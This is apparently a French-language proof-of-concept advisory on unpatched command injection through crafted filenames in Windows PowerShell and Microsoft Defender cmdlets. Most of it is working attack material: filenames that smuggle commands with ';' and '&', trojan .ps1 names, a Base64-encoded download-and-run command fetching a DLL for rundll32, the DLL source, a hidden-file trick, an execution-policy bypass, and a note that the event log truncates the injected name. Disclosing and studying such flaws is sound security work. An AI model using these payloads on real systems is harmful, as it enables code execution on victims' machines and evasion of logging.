
POC d'exécution de code non corrigé via le nom de fichier Windows PowerShell
Nom de fichier Windows PowerShell et API Defender Anti-Malware – POC d'exécution de code
Découverte : John Page (alias hyp3rlinx) 2019, révisé en 2023
Mis à jour le 24 déc. 2023
Contournement de l'obstacle des guillemets simples dans PowerShell pour l'exécution de code, et en bonus, l'échec du journal des événements Windows de PowerShell !
Le point-virgule et son ami l'opérateur « & » unissent leurs forces pour des capacités d'exécution de code arbitraire.
Exécutez un malware indésirable :
C:\Users\gg\Downloads>powershell get-filehash 'Infected&Malware;.zip' -algorithm md5
OU
Analyse anti-malware de Windows Defender :
powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected&Malware;.zip'
Comme Malware.exe se trouve dans le même répertoire, pensez à un drive-by download.
Échec du journal des événements Windows : l'ID d'événement PS 403 ne journalise pas le véritable nom de fichier en raison de la troncature :
Extrait du journal PS :
HostApplication=powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected
EngineVersion=5.1.19041.3803
Appeler la commande ping ? pourquoi pas
C:>powershell get-filehash 'powerfail&ping 8.8.8.8&.txt' -algorithm md5
Déconnecter la victime :
C:>powershell Start-MpScan -Scanpath 'virus&logoff&test.zip'
Mis à jour : 7 déc. 2023, ajout du vecteur CL et de l'API Windows Defender, voir ci-dessous :
Comme cela fonctionne toujours, je l'ai dépoussiéré et apporté des améliorations mineures :
Signalé à Microsoft pour la première fois en 2019, il reste non corrigé au moment où j'écris ces lignes.
Exécution de code à distance via un nom de fichier spécialement conçu.
La faille est due au point-virgule « ; » : on peut décoder une commande Base64 et l'exécuter directement depuis le nom du fichier PS1, ou simplement exécuter des commandes.
Test;POweRsHeLL -e [BASE64 UTF-16LE PAYLOAD];.ps1
Exécutez des commandes directement
"Testing;saps (gc -) PoC;.ps1"
Vecteurs : double-clic, glisser-déposer vers un raccourci PS
Exploite des commandes PS abrégées alternatives comme « saps », « gc » pour démarrer un processus et récupérer du contenu, etc.
Créez un fichier PS1 troyen qui tentera de télécharger et d'exécuter une DLL distante nommée « 1.d ».
Python :
from base64 import b64encode
b64encode("saps http[]//127.0.0.1/1.d;sleep -s 2;rundll32 $HOME\Downloads\1.d, 0".encode('UTF-16LE'))
cwBhAHAAcwAgACAAaAB0AHQAcAA6AC8ALwAxADIANwAuADAALgAwAC4AMQAvADEALgBkADsAcwBsAGUAZQBwACAALQBzACAAMgA7AHIAdQBuAGQAbABsADMAMgAgACQASABPAE0ARQBcAEQAbwB3AG4AbABvAGEAZABzAFwAMQAuAGQALAAgADAA
Code de la DLL :
#include <windows.h>
//gcc -shared -o mydll.dll mydll.c -m32
//hyp3rlinx
void evilo(void){
MessageBox(0,"Filename Remote Code Execution PoC\r\nBy hyp3rlinx","M$ Windows PowerShell",1);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
evilo();
return 0;
}
python -m http.server 80
Double-cliquez sur le fichier PS1 troyen.
Créez un fichier PS1 dont le nom inclut saps « start a process » et gc « get-content » ; cela lira les commandes depuis un fichier caché.
"Test;saps (gc -) PoC;.ps1"
Créez un fichier caché : attrib +s +h "-"
Double-cliquez ou glissez-déposez.
a) Les fichiers PS1 de PowerShell doivent être configurés pour s'ouvrir avec PowerShell comme programme par défaut
b) Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
c) L'utilisateur doit double-cliquer, exécuter depuis la ligne de commande ou glisser-déposer le script PS1 au nom malveillant
https://www.youtube.com/watch?v=-ZJnA70Cf4I
https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/029d41d2-af58-434d-8d0f-0bf8f01d1c55

Mise à jour : API PowerShell Microsoft Defender Anti-Malware – Exécution de code arbitraire.
Microsoft Defender Anti-Malware et/ou les API PS peuvent aboutir à l'exécution de code arbitraire. Par exemple, analyser un répertoire, un raccourci .lnk ou même un élément inexistant peut exécuter du code non voulu. Ce vecteur s'appuie sur mon précédent avis et sur le projet PSTrojanFile qui en a découlé.
Prérequis :
Exemples :
powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads;saps Helper;.1.zip"
(Helper.exe se trouve sur le Bureau)
Créez un répertoire « ;saps Test » ; Test.exe, Test.cmd, etc. se trouvent sur le même chemin de ligne de commande
powershell Add-MpPreference -ControlledFolderAccessAllowedApplications ";saps Test"
Créez un répertoire avec un point-virgule, déposez un fichier PE nommé doom.exe dans le même chemin.
powershell Set-ProcessMitigation -PolicyFilePath "test;saps doom"
Enfin, et non des moindres :
Quand vous récupérez un hash de fichier dans PowerShell, cela vous déconnecte :)
c:>powershell get-filehash -algorithm MD5 "Malware;saps logoff.exe"
https://www.youtube.com/watch?v=0Go6yJiRWP8
https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/b033b9f8-1ea0-4ea3-9fa3-56ea63db5b08